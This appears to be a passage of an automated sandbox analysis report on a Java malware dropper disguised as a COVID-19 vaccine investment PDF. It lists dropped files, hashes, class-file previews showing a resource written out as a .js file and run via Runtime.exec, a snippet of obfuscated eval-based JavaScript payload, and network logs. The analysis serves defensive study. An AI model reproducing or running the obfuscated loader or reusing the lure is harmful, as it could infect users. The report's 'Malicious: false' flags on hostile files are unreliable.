SHA-512: 25CFB0D6CE35D0BCB18527D3AA12C63ECB2D9C1B8B78805D1306E516C13480B79BB0D74730AA93BD1752F9AC2DA9FDD51781C48844CEA2FD52A06C62852C827
9

Malicious: false

Preview:
PK........8f>I................META-INF/PK........7f>IzVC.....s.......META-INF/MANIFEST.MF..Oo.0.....,.k..-%..P.m..U...L2..&fm....@ .E.=o~o........7H.D.".8.5..mA.....L.c..F......!.lh..4.
[H.0K...![.....Tq..1...G..@.?..\...P.."ao..S.:w.}.}.t.EW...b.6..(.5a....p.8[H*..p.bH..h..&l.w....D.e.We.<..h.=.....zx.:.W.ft.......a.....$......{..{..K..0.ZfP7.N>q......FH..4.....B.....:.q4.../..
^f....;....m....V.....b..u..v0.k.S.9 .....<G...@..Bl87s.....p.K.;..5.x1.i]...:.l8_./.~.-.7....g[O...U;.$(..r..../.m.E2...=....CT..6K.9....=v=.s}..OPK........We>I................META-INF/mave
n/PK........We>I................META-INF/maven/org.xerial/PK........We>I............&...META-INF/maven/org.xerial/sqlite-jdbc/PK........We>I................META-INF/services/PK....
....QT>I................org/PK........8f>I................org/sqlite/PK........8f>I................org/sqlite/core/PK........8f>I................org/sqlite/date/PK........8f>I................org/sqlite/javax/PK
........8f>I..

C:\Users\user\lib\system-hook-3.5.jard

Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: Zip archive data, at least v1.0 to extract

Category: dropped

Size (bytes): 791222

Entropy (8bit): 7.998588520286719

Encrypted: true

SSDEEP: 24576:IhCFW8WXvOsWW9XGmvcVfkfTnzrLvadKPpv:IhCYWstW202t

MD5: E1AA38A1E78A76A6DE73EFAE136CDB3A

SHA1: C463DA71871F780B2E2E5DBA115D43953B537DAF

SHA-256: 2DDDA8AF6FAEF8BDE46ACF43EC546603180BCF8DCB2E5591FFF8AC9CD30B5609

SHA-512: FEE16FE9364926EC337E52F551FD62ED81984808A847DE2FD68FF29B6C5DA0DCC04EF6D8977F0FE675662A7D2EA1065CDCDD2A5259446226A7C7C5516BD7D60
D

Malicious: false

Preview:
PK.........x.N................META-INF/PK.........x.N................META-INF/MANIFEST.MF.M..LK-...K-*...R0.3..r,J..,K-B...V..+.$x...R.KRSt.*......3R.|..R....L..y..J3sJ....&.f.f...]..l.-.z.z
F.\.\.PK..PSF.m.......PK........lx.N................lc/PK........lx.N................lc/kra/PK........mx.N................lc/kra/system/PK........mx.N................lc/kra/system/keyboard/PK........m
x.N................lc/kra/system/keyboard/event/PK.........x.N................lc/kra/system/lib/PK........mx.N................lc/kra/system/mouse/PK........mx.N................lc/kra/system/
mouse/event/PK........mx.N............"...lc/kra/system/GlobalHookMode.class.R]o.A.=...,_[.R...Z....O....6Y..m1..W.v.M.h.4.F..?.xg%.b..pO..s.;3.~......0Dl(."'!%!. .M..d..*nq.S.I..2
4...;..Z.z..0,.N.p.3..O...-.t.......{......Uu..M.-5.7..i.`Xy7.3ta:C.....%....q.v..a.e.N.C;..r...........n.`.z..)...j..6.....XSt..k.....=..[.;.5.{.....q...GJB...J..7.L...a.2.........6w.0M..j*..C.T.Qb..
RT..3..XQ.GBE.....

C:\Users\user\vmlpusjwhz.txt
Process: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File Type: Zip archive data, at least v2.0 to extract

Category: dropped

Size (bytes): 93302

Entropy (8bit): 7.907636664666169

Encrypted: false

SSDEEP: 1536:/1qTnJjXcA/88jc5w+e6saZGIhw8c+/MCZdCa9aQ7IakSyEvaogK0imdgIJX0H:dqTNV9+wdDaZn9/MCZdN7RkSy0ajA+JA

MD5: 6A1EFB0C410A7790DBC75FD29ADC48D6

SHA1: 5589EAD30D23C96DC8AE7BA03D03066BCB1B17EF

SHA-256: DFC703A9B8498AA24306908FCE67CBF894C7861E07FF778E3FD62315684B579B

SHA-512: 7C331441848875875DF4F39E7AF59C040C0EDD010666894C69178064EB52E1A3E310BBF62A35FDF1B2F6EE372B68D75AE395E9EC92ECFFB150EF2B5C5570205F

Malicious: false
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Preview:
PK..........WR................META-INF/MANIFEST.MF].=O.0.EwK..o,.M\ZQyk#6B..b}._..'..+.......w....p...E.R.>N..l8;N..qF..TV.T.......E.v'..0J.....6.9&,5|.Y.~.m..5XL.8.(WXkV
*.....7.y.F......^....0....C.........#.Bbp.....[.V..h.].....g.|.....s...%.u....0..>8.8..PK...&......-...PK..........WR................carLambo/resources/config.txt.... ....r.h..h..=.._i.LG.........1..
KK..kRo..h...L.t[.06...u..4....y.....3>.H29.jql^e}..5..A[i....t.p.5.......#t.@..`..M..e.-.:T?n...mF.._..G..6.D\.r.AZ/.. .Hq.....{../....mQ..)}../...PK..)!..........PK..........WR................carLam
bo/sbsgssdfg.class.Xy|.W........XJ..P .f.@....$..I.B.]b..;{.f..L(H.T.....U.Gl...]..W....>Zo..=.Z.....fg........}....x.w..v......h.......b%.....@...R+..B.;%.K.%.G.{%.O..%.$..0".!..K....J....I
...GE|I..D<&.."~(.G"~,.'"~*.g"~..."~).W"...l!.E.!..e.1lg.g..a..~.73....o+.\....n..U.!...od..p3...:p.3_...W ...lu............a...!.p#.-......2.....;.......b.j...jq...).A../......e8..#x../..'...0|..b.o.CN<.O..I

C:\Users\user\vmlpusjwhz.txt

C:\jar\META-INF\MANIFEST.MF
Process: C:\Windows\System32\7za.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 61

Entropy (8bit): 4.7373932798666365

Encrypted: false

SSDEEP: 3:ZLCAWIzBEb2bIIT/fbhn:1KItG2bIif9

MD5: 1EE8E1A0462F25F07B4DBF06F695AB24

SHA1: 77384293E385C5E84D31957A55D54EECB7987780

SHA-256: 50B85BA7210C8BFE4B43E3F0BC2C2ADAF553A81EBF6F1760605BC974DA4FFF2A

SHA-512: 7A51A0C14DE218A46FF088CB07B917ECAEE04B07C14D9F0F96EB9189517E16093DE962E9C3525A1BEAA7A034DCAB763C9C7105C819F9A870412872E7A20A7C9
C

Malicious: false

Preview:
Manifest-Version: 1.0..Main-Class: keuqzwqbvn.Mmwwrnygnfl....

C:\jar\keuqzwqbvn\Mlncjyhbeex.class
Process: C:\Windows\System32\7za.exe

File Type: compiled Java class data, version 50.0 (Java 1.6)

Category: dropped

Size (bytes): 830

Entropy (8bit): 5.404149665200583

Encrypted: false

SSDEEP: 24:5uWyQulrLOIGHBkjW1Pe4g591b/6G69JU:5uWyFlri7HBKWbg59UG

MD5: ECC9EEE8A05B0512B8D0A5BCAD7F226A

SHA1: B5E86BD53AC08A7CDE0415C2358DF39C2F2D6988

SHA-256: C70E1B34DDE5968C6DE14F23F3AF4042D46D30336534C70A0ACB54BD07824EF9

SHA-512: 76D555A6BECA72FE46778492D0E728E1E08B2A6BF70D002B39EF2BEA153D92415C1ABD8C1CD296C0536109DCA9EA068620DA7E43C6B91947CD36A9FD9E104A
E2

Malicious: false

Preview:
.......2.1................... .... ..!..".#..$..%...<init>...()V...Code...LineNumberTable...t1nUbU..2(Ljava/io/InputStream;Ljava/io/FileOutputStream;)V...StackMapTable..&..$..'..(.
.!...b1g4Nth..)(Ljava/lang/Runtime;[Ljava/lang/String;)V...Exceptions...SourceFile...Mmwwrnygnfl.java.......'..).*..(..+.,..-.....java/lang/Exception...../.0...keuqzwqbvn/Mlncjyhbe
ex...java/lang/Object...[B...java/io/InputStream...java/io/FileOutputStream...read...([BII)I...write...([BII)V...close...java/lang/Runtime...exec..(([Ljava/lang/String;)Ljava/lang/
Process;. ................................*.........................................0.>.....:.+.........Y>...,..........+...,......N......+..........."...............#...'...+......./. .................................................#.....
...+,...W................"...#....................

C:\jar\keuqzwqbvn\Mmwwrnygnfl.class
Process: C:\Windows\System32\7za.exe

File Type: compiled Java class data, version 50.0 (Java 1.6)

Category: dropped

Size (bytes): 1582

Entropy (8bit): 5.578097902648525

Encrypted: false

SSDEEP: 24:iADsrmDul0zOQbpi55UDV++vLRDCNQzw/WXurvNwHhWwSc+:JsrmKlJcpU5UDgQ+SztgvshWwh+

MD5: 9452592892A800D155BC45667FA3BB75

SHA1: 8245B9ECBD34DBEA7DF48EEC85AD1A1CB18C6D27

SHA-256: F0283C3945E263B9DE97C6A1FC1CF42DD1D8F9DD8DD8CDD44D8550E86DBB8A8F

SHA-512: BD99C29EDCCDAB2129413D0D555D0ABB117FEFFC64BD4C69ED0EF3923444FA036B88BE782B1057E87D038B41E7C3338A330F634FB8A51CDEEA2B95721ED56F
38

Malicious: false

Preview:
.......2.Y....*..+....,..-...../.0..1....2....3..4.5....6..7..8....*..9..:.;....<..=.>..?....@..A....B....C....6....3..D...<init>...([Ljava/lang/Object;)V...Code...LineNumberTable...Exceptio
ns..E...q22RDt...main...([Ljava/lang/String;)V...b1g4Nth..)(Ljava/lang/Runtime;[Ljava/lang/String;)V...t1nUbU..2(Ljava/io/InputStream;Ljava/io/FileOutputStream;)V...Sourc
eFile...Mmwwrnygnfl.java....F...java/lang/Object..!.....keuqzwqbvn/Mmwwrnygnfl...[Ljava/lang/String;..G..H.I...java/io/FileOutputStream....J..&.'..K..L.M..$.%...java/lang
/String...java/lang/StringBuilder...user.home..N..O.P..Q.R..S..T.U...fukvowbkrs.js..V.W...resources/umxybpjabc....X........keuqzwqbvn/Mlncjyhbeex...java/lang/Exception...
()V...java/lang/Class...getResourceAsStream..)(Ljava/lang/String;)Ljava/io/InputStream;...(Ljava/lang/String;)V...java/lang/Runtime...getRuntime...()Ljava/lang/Runtime;..
.java/lang/System...getProperty..&(Ljava/lang/String;)Ljava/lang/String;...append..-(Ljava/lang/String;)Ljava/lang/StringBuilder;.

C:\jar\keuqzwqbvn\resources\umxybpjabc
Process: C:\Windows\System32\7za.exe

File Type: ASCII text, with very long lines
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Static File Info

General
File type: Zip archive data, at least v2.0 to extract

Entropy (8bit): 7.699961628296007

TrID: Java Archive (13504/1) 62.80%
ZIP compressed archive (8000/1) 37.20%

File name: Covid19_Vacine_Investment_Proposals_1st_Quarter20
21 pdf.jar

File size: 178235

MD5: 5435ec679cdd07fe6f4fc6f49a117ea8

SHA1: eab4494e7db4bcbebf9dc5c0197ce0081a6dda6e

SHA256: 5a962977909fafba0a1c202306068bd5f8297335b16989a
07c1f119302155c84

SHA512: b4b1a09413019c70867cfb2ddfb95ea21c86775991c1f80
08e72af045abf9bcb436bdcc20affda4275fbc8216c4649f
3b667ff0846215c38c5af026301b88380

SSDEEP: 3072:EIeObnK0Jmn6IhnudnEozlLaEd9J1vqmGzp5rlHh
3tn/9Yj4Yw54bfTRykQRYb:EI3bKrn6MuVE8lD9LSmGrr
v38sYw5s7X

File Content Preview: PK.........aWR.V..U....?....$.keuqzwqbvn/resources/umxy
bpjabc.. ..........{)......-)......-).......}.#.u...>.w..$.0.e.Y#..f.lm
.(..a.......=&.eaV..+.w..so..a5.Y.bw....(........{............7......|
..o..............o.....>..?=}..t..o._N/.>...>..q....W?../..

File Icon

Icon Hash: d28c8e8ea2868ad6

Network Port Distribution

Total Packets: 51

Category: dropped

Size (bytes): 737167

Entropy (8bit): 4.705946433849389

Encrypted: false

SSDEEP: 6144:egg4cP9SSJTS7PEwU5tTBWoZEIZCSfq7mjJMF4taWAo/YABu1kL3QNQoxvHp6GVE:M

MD5: EE526513580FDCE38FBD47E380081DA0

SHA1: 05A7DBB90B51A6BF6EEF394DC565A22242A4E0DD

SHA-256: EDF1D7DFB797D66CEACE6695998240EDF67C5F08D06767A66ABC1C66830527F4

SHA-512: C14E5381A3C569918957FC0A35B0970786B2E128709E8A26419AE96972BC8B507DD44DA51E60871AB85313C63D4045035E4A48EEE15BA2DF731A7328FCD8618F

Malicious: false

Yara Hits: Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 
C:\jar\keuqzwqbvn\resources\umxybpjabc, Author: Florian Roth

Preview:
var efr3b0h = [.function(zen1thB){..var mkk_pl4z4 = Array(zen1thB[0],......."\x6D\x6B\x6B\x5F\x70\x6C\x34\x7A\x34\x5B\x30\x5D\x20\x3D\x20\x6D\x6B\x6B\x5F\x70\x6
C\x34\x7A\x34\x5B\x30\x5D\x2E");..mkk_pl4z4[0] = mkk_pl4z4[0].replace(new RegExp(">%@", "g"), "A");..var f_truth = [......."\x6D\x22\x2C\x20\x22\x67\x22\x29\x2C
\x20\x22\x64\x22\x29\x3B",......."\x21\x22\x2C\x20\x22\x67\x22\x29\x2C\x20\x22\x6D\x22\x29\x3B".......];..zen1thB[1][r0bl3NP(10,9)].f_truth = f_truth;..zen1thB[1][r0bl3NP
(10,9)].mkk_pl4z4 = mkk_pl4z4;..new zen1thB[1]([eval]);..return Array(function(vmk){return [mkk_pl4z4][vmk];})[0](0);.},.Array("CreateObject","Rea", "undefined","\x61\x64
\x6F\x64\x62\x2E","\x43\x68\x61\x72\x53\x65\x74","Position","\x54\x79\x70\x65","Open","Write","node")..];.eval("String[\"prototype\"].l00p6x = function(){return \"m!FyIFZ
MJExPJEUgPSBbIlx4NTVceDQ1XHg3M1x4NDRceDQyXHg0Mlx4NTFceDNFXHgyNVx4NDBceDQzXHgzRVx4MjVceDQwXHg2N1x4NDlceDNFXHgyNVx4NDBceDR
BXHg2Rlx4NTmceDU2XHgzMVx4NDlceDNFXHgyNVx4NDBceDNFX

C:\jar\keuqzwqbvn\resources\umxybpjabc

Network Behavior
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• 53 (DNS)

• 443 (HTTPS)

Timestamp Source Port Dest Port Source IP Dest IP

Feb 23, 2021 21:04:22.712953091 CET 49718 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.713040113 CET 49719 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.713053942 CET 49720 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.714381933 CET 49721 443 192.168.2.3 140.82.121.3

Feb 23, 2021 21:04:22.755150080 CET 443 49721 140.82.121.3 192.168.2.3

Feb 23, 2021 21:04:22.755253077 CET 49721 443 192.168.2.3 140.82.121.3

Feb 23, 2021 21:04:22.756622076 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.756649971 CET 443 49719 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.756688118 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.756747961 CET 49718 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.756810904 CET 49719 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.756815910 CET 49720 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.823820114 CET 49721 443 192.168.2.3 140.82.121.3

Feb 23, 2021 21:04:22.823934078 CET 49719 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.824155092 CET 49720 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.824196100 CET 49718 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.865644932 CET 443 49721 140.82.121.3 192.168.2.3

Feb 23, 2021 21:04:22.865699053 CET 443 49721 140.82.121.3 192.168.2.3

Feb 23, 2021 21:04:22.865737915 CET 443 49721 140.82.121.3 192.168.2.3

Feb 23, 2021 21:04:22.865792990 CET 49721 443 192.168.2.3 140.82.121.3

Feb 23, 2021 21:04:22.867369890 CET 443 49719 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.867424011 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.867521048 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.868551970 CET 443 49719 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.868596077 CET 443 49719 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.868626118 CET 443 49719 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.868664026 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.868701935 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.868707895 CET 49719 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.868731022 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.868769884 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.868802071 CET 49720 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.868817091 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.868848085 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:22.868905067 CET 49718 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.945523977 CET 49718 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.969150066 CET 49721 443 192.168.2.3 140.82.121.3

Feb 23, 2021 21:04:22.969197989 CET 49719 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.969592094 CET 49720 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.991509914 CET 49718 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.991631031 CET 49720 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.991683006 CET 49719 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.991844893 CET 49721 443 192.168.2.3 140.82.121.3

Feb 23, 2021 21:04:22.995605946 CET 49718 443 192.168.2.3 199.232.192.209

TCP Packets
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Feb 23, 2021 21:04:22.995722055 CET 49719 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.995753050 CET 49720 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:22.995789051 CET 49721 443 192.168.2.3 140.82.121.3

Feb 23, 2021 21:04:23.032128096 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.032454014 CET 443 49721 140.82.121.3 192.168.2.3

Feb 23, 2021 21:04:23.034961939 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.034984112 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.036494017 CET 443 49721 140.82.121.3 192.168.2.3

Feb 23, 2021 21:04:23.036879063 CET 443 49719 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.039002895 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.039037943 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.039216042 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.040357113 CET 443 49719 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.045011997 CET 49721 443 192.168.2.3 140.82.121.3

Feb 23, 2021 21:04:23.045314074 CET 49719 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:23.045366049 CET 49718 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:23.045392990 CET 49720 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:23.091630936 CET 443 49721 140.82.121.3 192.168.2.3

Feb 23, 2021 21:04:23.091659069 CET 443 49721 140.82.121.3 192.168.2.3

Feb 23, 2021 21:04:23.091677904 CET 443 49721 140.82.121.3 192.168.2.3

Feb 23, 2021 21:04:23.091695070 CET 443 49721 140.82.121.3 192.168.2.3

Feb 23, 2021 21:04:23.091715097 CET 443 49721 140.82.121.3 192.168.2.3

Feb 23, 2021 21:04:23.091743946 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.091758966 CET 49721 443 192.168.2.3 140.82.121.3

Feb 23, 2021 21:04:23.091768026 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.091792107 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.091794968 CET 49721 443 192.168.2.3 140.82.121.3

Feb 23, 2021 21:04:23.091814995 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.091825962 CET 49718 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:23.091839075 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.091862917 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.091873884 CET 49718 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:23.091886044 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.091907978 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.091933966 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.091933966 CET 49718 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:23.091953039 CET 49718 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:23.091962099 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.092044115 CET 49718 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:23.094165087 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.094196081 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.094218969 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.094244957 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.094269037 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.094290018 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.094311953 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.094312906 CET 49720 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:23.094336033 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.094346046 CET 49720 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:23.094352007 CET 49720 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:23.094360113 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.094382048 CET 443 49720 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.094398022 CET 49720 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:23.094443083 CET 49720 443 192.168.2.3 199.232.192.209

Feb 23, 2021 21:04:23.095511913 CET 443 49718 199.232.192.209 192.168.2.3

Feb 23, 2021 21:04:23.095537901 CET 443 49718 199.232.192.209 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Feb 23, 2021 21:04:04.787981987 CET 51281 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:04.839752913 CET 53 51281 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:05.738883972 CET 49199 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:05.792526960 CET 53 49199 8.8.8.8 192.168.2.3

UDP Packets

Copyright null 2021 Page 34 of 706



Feb 23, 2021 21:04:06.778394938 CET 50620 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:06.836930990 CET 53 50620 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:06.930882931 CET 64938 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:06.990648985 CET 53 64938 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:07.752113104 CET 60152 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:07.803603888 CET 53 60152 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:08.780697107 CET 57544 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:08.829201937 CET 53 57544 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:10.061552048 CET 55984 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:10.124532938 CET 53 55984 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:11.242398977 CET 64185 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:11.291132927 CET 53 64185 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:12.172589064 CET 65110 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:12.224208117 CET 53 65110 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:13.587836981 CET 58361 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:13.636614084 CET 53 58361 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:14.620203972 CET 63492 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:14.670813084 CET 53 63492 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:15.954237938 CET 60831 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:16.005600929 CET 53 60831 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:16.926575899 CET 60100 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:16.978249073 CET 53 60100 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:18.195648909 CET 53195 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:18.244349957 CET 53 53195 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:18.986308098 CET 50141 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:19.036731958 CET 53 50141 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:21.187669992 CET 53023 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:21.237144947 CET 53 53023 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:22.259543896 CET 49563 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:22.312324047 CET 53 49563 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:22.646025896 CET 51352 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:22.646184921 CET 59349 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:22.706168890 CET 53 51352 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:22.710860014 CET 53 59349 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:23.130125046 CET 57084 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:23.188406944 CET 53 57084 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:23.439188957 CET 58823 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:23.488096952 CET 53 58823 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:24.999437094 CET 57568 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:25.079427004 CET 53 57568 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:42.766957998 CET 50540 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:42.782876015 CET 54366 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:42.832326889 CET 53 50540 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:42.840290070 CET 53 54366 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:50.739006996 CET 53034 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:50.826561928 CET 53 53034 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:50.993541956 CET 57762 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:51.047672987 CET 53 57762 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:51.840692043 CET 55435 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:51.897739887 CET 53 55435 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:52.119888067 CET 50713 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:52.171313047 CET 53 50713 8.8.8.8 192.168.2.3

Feb 23, 2021 21:04:52.228467941 CET 56132 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:04:52.462094069 CET 53 56132 8.8.8.8 192.168.2.3

Feb 23, 2021 21:05:00.102988005 CET 58987 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:05:00.154455900 CET 53 58987 8.8.8.8 192.168.2.3

Feb 23, 2021 21:05:04.293481112 CET 56579 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:05:04.521935940 CET 53 56579 8.8.8.8 192.168.2.3

Feb 23, 2021 21:05:18.343533993 CET 60633 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:05:18.413583994 CET 53 60633 8.8.8.8 192.168.2.3

Feb 23, 2021 21:05:27.343029976 CET 61292 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:05:27.391772985 CET 53 61292 8.8.8.8 192.168.2.3

Feb 23, 2021 21:05:28.235084057 CET 63619 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:05:28.284691095 CET 53 63619 8.8.8.8 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP
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Feb 23, 2021 21:05:30.140880108 CET 64938 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:05:30.203813076 CET 53 64938 8.8.8.8 192.168.2.3

Feb 23, 2021 21:05:59.069261074 CET 61946 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:05:59.302706003 CET 53 61946 8.8.8.8 192.168.2.3

Feb 23, 2021 21:05:59.311817884 CET 64910 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:05:59.535707951 CET 53 64910 8.8.8.8 192.168.2.3

Feb 23, 2021 21:06:01.412451982 CET 52123 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:06:01.461036921 CET 53 52123 8.8.8.8 192.168.2.3

Feb 23, 2021 21:06:02.047835112 CET 56130 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:06:02.125761986 CET 53 56130 8.8.8.8 192.168.2.3

Feb 23, 2021 21:06:35.015863895 CET 56338 53 192.168.2.3 8.8.8.8

Feb 23, 2021 21:06:35.237154007 CET 53 56338 8.8.8.8 192.168.2.3

Feb 23, 2021 21:06:51.716965914 CET 59420 53 192.168.2.3 8.8.8.8

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Feb 23, 2021 21:04:22.646025896 CET 192.168.2.3 8.8.8.8 0x1573 Standard query 
(0)

repo1.maven.org A (IP address) IN (0x0001)

